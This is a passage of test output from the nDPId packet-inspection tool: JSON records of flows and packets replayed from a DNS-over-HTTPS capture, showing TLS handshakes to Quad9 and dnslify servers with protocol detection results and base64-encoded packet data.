vda9zrqGty0FDqsOWmIdUCMf7t9LcgXTVP1POJeyDb0J4B38BTX3wUkWV7Ddf9ih9u7A\/m95uqIUbBJE2UeEbEEHif0BvcJl8E3UGeXVNiKRj7lxmplRVER7ystoW7OIAwNXC3MbNiwrjMNGlyZxeIZvGJIjHlQuApwLZsjzZzABT3\/zDbS43YjZzqyO21cEI3xf5DfWK6ZyU3Gjytb2PX5Te\/wOkKfusuGJNyYU73DNCw6\/IA2qWOmaw7\/mXzErXE2WxarQFcAU6el9VnuyWPJs57xlszen8XWYD0zQcAkiZ9pBOymEDFngWCP8+c+AEG42RtW8heXsNn6Oe2ZAWO\/0AXBzQr+rO1qlWDZzv3V7XELPKS49M71P\/6XXdYRKeCeHIn9vIc91j0OnL7GZzEPRVrpELGmw5rN7x6AqDoK3g\/LGcF47Fu59pwNqH3h40OLoshBk76izruGCqusL4Ms6YFarwUJkiUBlvhjjR7yHu721yX53PmlJXwCPueaRMxPhyJUl4AErQ3xPn5KAYXOjk3\/LnBLmSDl4f8PDkxmKUVaitsKqWvpl1TTX0fA2ZAqmTFey5ifEjBKLesy4caeyeCMEZZjMOhPX9MKfIEGous6lHCaZSQQHUSMY1BTylXmW622\/10lQS8aN1mce++r7\/TAswiTbum59NRH+1WXDpTaq5aRBgs7Pc6pr4lABNwxmieRHx0ER8V5gmxNVB9ACpzjEkp28DmYAH1\/iiBQfjkW2oblAVhUqcezWZUUEbpTbTAEj81Dzg+Fe2EsJFV2MiLhqH0ZMEkKY9oMnGyGvqY11wK7Qf4HXmtakoM3CF+wPbb9he7ffoRbYXCwbxTcDrBSEJdjOMhsSClbW03C9LGM4s6RAprMpnuw2wArtlzcr4bo701pOupS\/tdL5NkaZ2ZzsCChcDAwBgOnNpVcvc5YFZ3YuA8YRoqsuLDn4GImAnVqFIX3IzoTnZe29KOqUXQC0V61jJdr5Jnb3k3MOCdTH2u+HBBkKmYvlFb8GpDbcgObm2pFs9vNSY1WNyfnlLuFSQCBkHWe0UFwMDAEV7D2ZJm3CG6uFedmkozBwacoDrnHkQN6RCxC8K2l8lcKCSu3Q0j3XFRWsykB64fgtOqxtlPlxXpmtKrFqiyWDCeX9Q+Jw="} +00823{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":540,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":2,"flow_first_seen":946739603327,"flow_last_seen":946739603346,"flow_tot_l4_data_len":3339,"flow_min_l4_data_len":305,"flow_max_l4_data_len":3034,"flow_avg_l4_data_len":1669,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"9.9.9.10","src_port":51846,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"dns10.quad9.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00530{"flow_id":32,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":541,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739603,"pkt_ts_usec":374765,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"REREREREZmZmZmZmCABFAAB4XkhAAKYGo2gKAAABCQkJCsqGAbs6mT0PwXrZJFAYAfXTOQAAFAMDAAEBFwMDAEXJf2y8xWhMhAZA2WXz9agwI9f91RKP49sWLlsKAqD2Anz18+mnUXeRrd7MefwrF\/wulkzvUzp\/PNHsE\/j94eCMWT0CzeI="} +00537{"flow_id":32,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":542,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739603,"pkt_ts_usec":374833,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+XklAAKYGo2EKAAABCQkJCsqGAbs6mT1fwXrZJFAYAfXTPwAAFwMDAFGj4ZdVWENvHP7mlWww4fyc\/LCUwAcUVZSTOZOCuihsQZi0qxZIU3KBjmxt4UsdwiDNOUBuB692q78ru91BCfhzjqstzxoqRC1z\/lvOLOyurCE="} +00657{"flow_id":32,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":543,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739603,"pkt_ts_usec":374894,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"REREREREZmZmZmZmCABFAADUXkpAAKYGowoKAAABCQkJCsqGAbs6mT21wXrZJFAYAfXTlQAAFwMDAKeCWd2l1u2Lq5nscCXqD9rzuIFbFEIFXZRDecLEcxbM7PSMCkfJA+iEkaf0cGjV8LczZrsob3nZH\/qH4fB6bL9ggwzZsJcQ\/vTsjE5m2W4ZKgiwKat7BKpY36LD\/9Afx1qnea6QcjD2EWkQhCPe1Soya4r1y5EkeNxIyteNSI\/VQNM0d8BDdw9EJlLgnh+Uvy7R4PE6D6LtYWxW+\/MgQt9Sj\/BpbZZ8ww=="} +00554{"flow_id":32,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":544,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739603,"pkt_ts_usec":374924,"pkt_caplen":153,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":153,"pkt_l4_len":119,"pkt":"REREREREZmZmZmZmCABFAACLXktAAKYGo1IKAAABCQkJCsqGAbs6mT5hwXrZJFAYAfXTTAAAFwMDAF5DZPCTuTMg6EP7O5nFv+X7VNP\/SMbNr06s49ac1+GEJdaPIR62STC0H72Az\/UsfRt68lTfVTLUf8hb\/oHWQ4sODz004FoFJeXEzoaFJnB4aywTG2zsDBHKVze9DJl9"} +01109{"flow_id":32,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":545,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739603,"pkt_ts_usec":393436,"pkt_caplen":564,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":564,"pkt_l4_len":530,"pkt":"ZmZmZmZmRERERERECABFAAImVblAADsGFUoJCQkKCgAAAQG7yobBetkkOpk+xFAYAHtImwAAFwMDAPrSLrReGa3Kj9zmHpz9pYyQVJW6IG+kRFuOL3nzMKos1MU1gW+U59TQQ6RdVjMxIHhfh9JCKWGYAA1r6ly4PpPL4ts8J1jvDtPeRMPbBFXTU4SvjMrIe1aKRITENmA2pSxSWlD1SJJ\/S7uwDiQHIKM3fYrkYwnjZ7GtBtlBnPkYXIy2Amu4JdVfoXJWtaDSnjTmaH9H4U2g8\/X0WqH7SRCY6lKO\/6aPX2iXvneFqcXoSXjybEB4GAytUyWXzsZB2TSzlMAEUl8Qb6iVKPJNrL8A1lIZxPppO36H0sqC67zTMijftYtEkfMV7qYKOSe1FT00oH\/nIdryebIRFwMDAPpMCi+zs01CsaJfZKKGhJBBSWEQzWtsyP2I\/del5UdyUfJ\/WZiHK7MU8mvWYbaBa8Znd3ClNGbMEghv\/xsjyZ6AFJeBVZaLgafvq00Gn+\/rMXXzpvHdZ2GdGHu1P7r35nUP9DyAbbnd4meonoExRcOuxroMC8YQnHicqCArtyyc49kQtL2kh34fvpbHvD++DotsSdEe3+do4plKJTeRVPM9r2eZzWcza3mC\/H00r8MIkpEw99Cj+lu67tWFMngQ2S8DvUW5LBa\/yUWn8Mf9+RsAtDf38KE9kojBYNc+e2mm7k4TruY2ur9NzkFOAKQHQu2awxIUMsP2hsCy"} +00507{"flow_id":32,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":546,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739603,"pkt_ts_usec":393448,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"ZmZmZmZmRERERERECABFAABpVbpAADsGFwYJCQkKCgAAAQG7yobBetsiOpk+xFAYAHuaQAAAFwMDADwKMwBP7SBBT5wzfvFPzMJzeCEJ7vZA0WZKQLHKNby0MibQIN\/sgyoj8TvBs6bVrfDPBoT80LSvqpaqWec="} +00460{"flow_id":32,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":547,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739603,"pkt_ts_usec":393520,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHXk1AAKYGo5QKAAABCQkJCsqGAbs6mT7EwXrbY1AYAfXTCAAAFwMDABoOGqzLn9jyiuDfgjshiPc1HtEXBwEakLpYnA=="} +00634{"flow_id":32,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":548,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739603,"pkt_ts_usec":405726,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"ZmZmZmZmRERERERECABFAADHVbtAADsGFqcJCQkKCgAAAQG7yobBettjOpk+xFAYAHtFOwAAFwMDAJrlZdBVS0cKHJnqEJaXIqAMqgJO9gAwybL2E7xe9qQZDr4J2CA0CxAtNC0Boxr8btXLopFLp0PWcJf8L9I6Bnv9ARtkisdIMLLx4GNLsopMbMvf1P9LXCNWLKmRGCDKo3N4vvUhY7bBpv6nEeDTO\/oU7mh5T37WkPBRQhHrVJs7lTiljdD2tCiBraXCJY+h+e7jpTKniTc\/A+Xc"} +00449{"flow_id":32,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":549,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739633,"pkt_ts_usec":406126,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"REREREREZmZmZmZmCABFAABAXk9AAKYGo5kKAAABCQkJCsqGAbs6mT7jwXrcAlAYAfXTAQAAFwMDABPuHGcQnap0Vm7XVP89BjuxPcso"} +00529{"flow_id":32,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":550,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739633,"pkt_ts_usec":413039,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"ZmZmZmZmRERERERECABFAAB4Vb1AADsGFvQJCQkKCgAAAQG7yobBetwCOpk+41AYAHvgMwAAFwMDAEuf8FnU6xhGOURGBoRDN3wq2DAZCmPVTSnU3vLzpSv0xnEWwtxWw+S8xLuhv8sm5rPi9TW2uaKE9E2ATpSI\/WmLTaqDOIUZ3oIMR9g="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":551,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":946739661512,"flow_last_seen":0,"flow_tot_l4_data_len":305,"flow_min_l4_data_len":305,"flow_max_l4_data_len":305,"flow_avg_l4_data_len":305,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.235.81.1","src_port":44704,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00804{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":551,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739661,"pkt_ts_usec":512401,"pkt_caplen":339,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":339,"pkt_l4_len":305,"pkt":"REREREREZmZmZmZmCABFAAFFx6JAAK8GN2cKAAABuetRAa6gAbuz5lknlG0\/21AYAfbM4AAAFgMBARgBAAEUAwMfgFJ2Kafn6OC8bsQNsKFbNXsDyxgypaGgbuYoVgNdqiAeN08qEmNJsvb5yXXS9i9uE1kipCfBRoZuyc\/JvsnF3AAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAAClAAAAFAASAAAPZG9oLmRuc2xpZnkuY29tAAUABQEAAAAAAAoACgAIAB0AFwAYABkACwACAQAADQAaABgIBAQDCAcIBQgGBAEFAQYBBQMGAwIBAgP\/AQABAAAQAA4ADAJoMghodHRwLzEuMQASAAAAKwAJCAMEAwMDAgMBADMAJgAkAB0AIIH2RRfX3PNaXYMOoXj3ynNGqfHChI6\/gAXerDGvzggi"} +00774{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":551,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":946739661512,"flow_last_seen":0,"flow_tot_l4_data_len":305,"flow_min_l4_data_len":305,"flow_max_l4_data_len":305,"flow_avg_l4_data_len":305,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.235.81.1","src_port":44704,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"doh.dnslify.com","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04642{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":552,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739661,"pkt_ts_usec":535299,"pkt_caplen":3168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3168,"pkt_l4_len":3134,"pkt":"ZmZmZmZmRERERERECABFAAxS7o9AADQGgG2561EBCgAAAQG7rqCUbT\/bs+ZaRFAYA+rX7QAAFgMDAHoCAAB2AwOIv9853ekbZoNmLmgcqNPyyS1j9KmZm6LL1EB3x+W+MyAeN08qEmNJsvb5yXXS9i9uE1kipCfBRoZuyc\/JvsnF3BMCAAAuACsAAgMEADMAJAAdACD6x6OWYowjGpQ7hpL1\/XAvKAPz7Qey4KV7v02zhqXZdBQDAwABARcDAwAgyc0HM+W8H8TE3DEJWTZrLIbavzRZjtX85L8RdcWlDvUXAwMKE3Ep4ySuvwn1mgGngq567huqNt4kq0krhrI\/h93Xu5m86O9X2PLgikjAQ\/f9b0D4TlJnxV9cGU04GfVlCuVdBuDl1OIowNDzv97yB1hnS\/nmnSeVxy1F8D7\/C2lvCqf2cxAVE09ueyG1Z8bXZ2QECTYKbWaJhHhH3grXMLxM9TK7dwfYp5ry3mgBLj8Im1sBBtK1ijR5DOPlXD4i38GWBdXuEFX66BB\/RJoRwVEIncNbQelSZeCqjUb3u++TUwMNQylDBUpnEAe47WxBvCiB3j4t00aQSmqM0TAluU8dwn7tiUiJEwAYZgDG8XeCA2d8CwkyaaNUs0P3Rp5Ub77dFKLlWkM7Ox84gnAyRhVMHCmMumYMkWKlAivuj\/eXgWwWByB6smKGxdGHvMorcYTbQq9mZYmNNNkDPDaVaw5533PFvpx4ba99q1b36RpLWXBUvp3e8mh0pBow5UcR930tP8k9y3Mp\/Hul\/USMW6fOtKvrODulyByiQtZSjqe6z4\/9jz9br68\/R0pBmxYIdiwDh9sAHDejB9VSYvk7ssbBQpn+Jgwnz6Ryy+sDgPoInVRafSLVQ2XaqYm5f6C0Jwzhr6UtNZ4\/zNTcpzOWnfrCB0SA4OuUkh\/XzE\/16DFk8ZQDliBoueyPhn8cEizoLe43IQ4BRx1FGhFopJsvL2cINLJIZh8DTM\/8W7f\/ASccXTbKN3NreGL2zPJ9HkyArzmAuS0H6AWBUpZyjU0X4LPypLaoIp74s3Z6LMGrDv+Q9HPcSM3AsvYaPpVMikXZgrncjZjmSO3nKjVK7tuPHzmBxV2ASbUY9dkYy7qS1LbwD5HCaZkMJLquTC43\/zrZa9Cf+VJlQO+7\/bTkI19jV7MBsNxvCJS3vho32OcNSgskst5WCDisQYxOEJ7yIiJ4Qj131r3komITCdIi6sfPNECBD925ao9iSOw1a3NghVbKi1Ke9+osy6p4OIfl7R\/jJIRkFpjTHB9lrhuKyd3x90HahF\/Bgrc+0OPDW3df50BV25QUTv0YHg583iZZwuimhgpeeN8oRbZn4Oz1sb61wMILMVA1YkIFgELm6QWH0EjBDa5PcdPXwcXSRAXJR2\/zX8giHU9oVoqfNaIjA+SmyaolS9o0C9Gxx9xhkTFg+SAbN3Goh5osUJrTzgif84rF3v\/clkf8\/ZhPyDROa9H0yWh+TK3VY9NLRXxv12lS5FZMqutTNAtmppSaz1n5imbXVp1Da9\/rGuGJgyHbUPRjpcY\/qQ4nrdYPUt0lBpjbxywR21B5bH94VrAutoZgT1NlpA1fjy8uX6CC\/PzzpWgwoLz2\/ah06JLAEuj5ndY\/3P\/Cea86JZSQRIAOkxHfXLLrlrueGx1dvDahl9VAk02WVblMiy86oo72YX2jdNNf7IRMOaPtI08s6slCfPDpn3bANNyLKCX6T8oskMhdiK\/HIjCb1KyAdgQ2+yLvi3d+MuMeWmC07amcrbn+OTYQQNPWx6i\/o5VJfAp896EdOSd0n7JnPYzTA1M2RyiA5D2thGuZ18x5oW4andkKefpZLKocbhraKqdRDR2qHe1UOjP7ac97YdAdmgxzkuJnD41fZ8SEi5Zg3NfdmEEfpkvRjC5orTLd0fIsx5c1+XLU\/R3b4bQM96DkiRuZJ1NUlIhf9JvTA7QhsNS9Evhm+KxSrzo4fPncRHMt8lm5+VkFq5jZsS\/4aS9tmtMGO7fcr\/LpSveCPtAloCQrU+vhpaXaC4\/SCuRji5PdK182R618OsLro46yH5FqoSw3EFuupxW4KHdDcJyAmbvTP3RLz1SxCnflYoAqTczyrDRGBg9\/VwVoEVI1F90s2UJwdF3wAnZAvtsFo0aX7P\/QLLigT0+21EtehOsx99nALYpQP+Wes4pdBUuuM1hrGs4phO3GFIyYVSCdORl3bwKcDgUn6jxeA5jLALqAkUQz6oQZAw+UAmaFT7liB5ZMHspe2Nk5qb3bDaj1FmXHIWt\/85M5M02qebtth3yNCkr6Yp8QH7DkvUBEcBvugZfGdO8uohym\/eNU58r4tZ+dX\/tuHtfYu\/HTthyF6zJIA5NCwZI8ZPOa0Ik2ZVHuDdccBZzRFIr6iS6N658h5UD2w34\/Zc25OfWHIIyNU8f8\/IYCk9XVJNve0Okk42KtkEZEvU5b0G1QgC8PnK8r+XSR+vGYlx30IHhP0Drstay6UqCpdjb38zyt16Qx9KI1K78\/2x0ZLR7g9lNe5aJSm2DGdBsBLk1r5a74FD95UK8Adgld6WS3J1isO2nKe9Xs1y3yG0BHL6PVzcVJ6xLZkhyj81HERDbvsw89dCQ0RJq5YmEae+boIDnKyAnLYzUgmbMRlc1g8JOgQmr6\/NRcNQVzPj9Tmr7h+4nauDzZ0EwSB6bpnhekE6zTzsN8ksFy6WPV1V2TWaFMCxIJpm4tqxJloTCvFyT3CBtW57hPqqD33WSzMFQ4mYuH5Kgu\/JydyuTxbX33iR4YxYd7QhqiqEqf7Z40jPc99ZwAIj52PTzQ7U+ojkqP4MuUynWiVDvS\/8M2\/Vvth6PA4ClC+NG9V0jqT2CwEy0LU0ERe0qEd656+zZx\/fgC3xfIuWV0svyqgeH7U8anrlDCpp7N40O2SWqb3L3JMSf4o49g5Y7jySS1fW2+m5VjaQqCccoq+\/wn0QIhjH7Xd2oER1gcyADsjGJt5aqBudWst9NAdC7\/E6mgwXOhZmtXb1lcPmN1A3ldDXRkgXTncFzTkiGIgqqygowkLd1h\/u0K8p6hXN6SporJbwLrTenWrNDIG63gFBLm2D7U+S642eghPumVgo7B1N6elGvUpSDX3m8qB6zRisoSKoWKWO5xgUo0OWMndotDAaZPAq3bhL2Pxzdl9WOKnnP6NOK4+F4BC3OgZgYIEUhrknbM3wBtdHfsfGuj0RFj5lNw2AlFe8pNBDRkjYdmUdc0f\/vnWwnfo22NWKX1BdiVu7196lmWb3TQ4gFhlK81yNy7eFJuFbgrYZ5PUlfjIwTDgxIXshraxns8270zwqor2u3QZYQoN4I1EUcEja7lh2qdAWxfca\/zxpKtNeCFUm8zfvAy2hjwmAqVnw7n4Et+Xyf9ksFEQ4\/qzsOHpBM0zGs5xxH5dXSgC84hPug8TuHm5XeS02QK5ivwcMFrRGIBts0M6ytr6tm6t5af5Z2U58e0QlvyTSXCPiJUK3gUQUYViS\/IjXLR2ycg4306mXwXdbQ8v7MG8Jbo+42mtOwsAND+01bl1fOhl5IjO\/hKWjGNBJndlQaRfYzoY1bNcjrUVpsWniWOjJBYJ9yapHVp6DQ0QxTAp4enh41yjjXkuC9cO0IfBYAr0q3doev3F6MDmfD3QC30o0nnTuJKglBmQmNqmFF98Ioa6LYtVQSVj9fT7Jq0Jj7\/w6McuInFQUSdd3NIs7zDF4f1McMigXXd3svv1byyFwMDARmEZ3FvSkJXAws42ybGrYb\/Ga9WUTit+emudCQdO3qxSLRL9Xz90Zj\/0AIfatwlfnnVgLFc5QxTIdMvpyCnIjSAcDaEJvu6yM03S3K45PurYyNI6VNrD8T3C7JZ2oGRKr9xNDuiMdmtC9\/9YGpIp8JcXSnnpIql+dalqpwG9n50trcQI0C4J+hm1Yu6USN4wzVC+tr3gsW6PyyDAAs17vVbo+Scs5p00FZ1o\/rHfMtLfFwh8MAYWoGvtptGh9N2zS+PrJ1tBcSPIWnstLtsnAnrYxfC9FGgvCH\/DigiWfhGZwyoa504FzWxS6CzOvDPhsC522yXw\/\/MDJuJbpdH1g+oBnB701N1aymW+zBchXMoA1YOfcUScPREsxcDAwBF82UTEIbXenVn7eF73krbJp8pjxkB3FH+h3306Rr5JIHM3AbirkPdWnHupm94YxIhIDqYUbC9YcWD3w0dLlmwNJiAVT\/+"} +00827{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":552,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":2,"flow_first_seen":946739661512,"flow_last_seen":946739661535,"flow_tot_l4_data_len":3439,"flow_min_l4_data_len":305,"flow_max_l4_data_len":3134,"flow_avg_l4_data_len":1719,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.235.81.1","src_port":44704,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"doh.dnslify.com","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00529{"flow_id":33,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":553,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739661,"pkt_ts_usec":537491,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"REREREREZmZmZmZmCABFAAB4x6RAAK8GODIKAAABuetRAa6gAbuz5lpElG1MBVAYAfXMEwAAFAMDAAEBFwMDAEU4SkGRhTVOzjkja1xO2w+N\/vz+OkRmcdhLqaqpXQNb6A6SRcM4Xi9F7CyJ7zWjY541e0wZEZOfbwCMOI4VGHKGlHVB\/Ow="} +00539{"flow_id":33,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":554,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739661,"pkt_ts_usec":537611,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+x6VAAK8GOCsKAAABuetRAa6gAbuz5lqUlG1MBVAYAfXMGQAAFwMDAFHO0jbbFd53\/ZuDXr7vmFxcqFu0J8Lh\/X61p5xsIdeiV0og3mV\/A6pcxScMeZBlAeEIH5hDkEBw1sCQ9Mi8V+\/F1osqkP5BLLW5Wz8JDl02L8Y="} +00650{"flow_id":33,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":555,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739661,"pkt_ts_usec":537759,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"REREREREZmZmZmZmCABFAADTx6ZAAK8GN9UKAAABuetRAa6gAbuz5lrqlG1MBVAYAfXMbgAAFwMDAKbOQ7z0brbBFxgWZxwhW0QoxqthM\/YW2w0x8djZzSiWzVGpKLqzVQgkOT3HmOXxWdTl2fvHJh3N5G4mHK5ZWfcqKFlK\/fPDvKjV9wXy2wts7afxohUDvCcvWmA2n3Ej1Bu+ajruE2SeIFZ8sHHacL4bjLmiwm5VQ\/eEaQaQGwb91Bxh8GH0Jbyin88rP63FYAmiEMZR6fMeJDXgQHxpsypc8wZI+C21"} +00555{"flow_id":33,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":556,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739661,"pkt_ts_usec":537840,"pkt_caplen":153,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":153,"pkt_l4_len":119,"pkt":"REREREREZmZmZmZmCABFAACLx6dAAK8GOBwKAAABuetRAa6gAbuz5luVlG1MBVAYAfXMJgAAFwMDAF4dHIBrxxjOeZ3RLYf0gSXI77GDd3F\/5Ibu9MwuVRD86Sy9Mt76SkXOccR6k1VZeLW5qY6+yPueBKxzoFoyHcBggXkWxrprM98SlYzXPlEx\/xAkXb\/EfmzUJ3hM\/QNg"} +01111{"flow_id":33,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":557,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739661,"pkt_ts_usec":557879,"pkt_caplen":564,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":564,"pkt_l4_len":530,"pkt":"ZmZmZmZmRERERERECABFAAIm7pJAADQGipa561EBCgAAAQG7rqCUbUwFs+Zb+FAYA+SJvgAAFwMDAPoyoStFkZPi\/nXc7sWkZhWDXhmeQsbhpkdyad+oct1nkLVj\/C3vPeWqOEUXahKnGTpPzqju\/AJYQX9\/LjTg1fzSWn0aF+OKOEIQikKPUhOTYGNDhZmjiRzWzAhxMiwJsKsrGKZh3BWpfPNmIbKRC3tW4IjWU73RU1HcdoOLkRQr\/8J7JA0BmsEHhokl100cMqGw0XCFMDwociHFJ\/ie3AIMKw\/XTuCQaeUYtGxfPQawTVZhBPuXqgXcxC5vptBtTLuL9Ak8V90HNWmIH+UBGY1kAw6uNuocBvfvEhIwIR3wjuZgmOeZ3Sa9YfRki0Gu9riz+qk9HWp2kVijFwMDAPpR8ebkSN60dgBgE4DGpi7UktnM\/PeURUFDN81WkjVraQQ0jL7LCz9D61Km5Vvddk2OwTR+To0LMUADFpwbaQu3RbVutye1YZBoo7H42wqlHsU3esYbzX1Qj7gh33hWN7v3wGMKxkrtsihUbZIfDRVUl33197\/KtoGn8DuF6LHXykCxrH+EQZ1V561gdw\/O5OL3m10zo5ZVMi8SNM9b5rhM8VCcX+sthwM1QqAPm\/xzfBNeekGMMbxUCXbPtZlKc0EGiJJWWdmTcaLCH3dKxjPm1V41FKhxvtKBVJVTNe87b7YGLAZ\/jKCYXZBLiX42pP35MFKz3YVwI1Nv"} 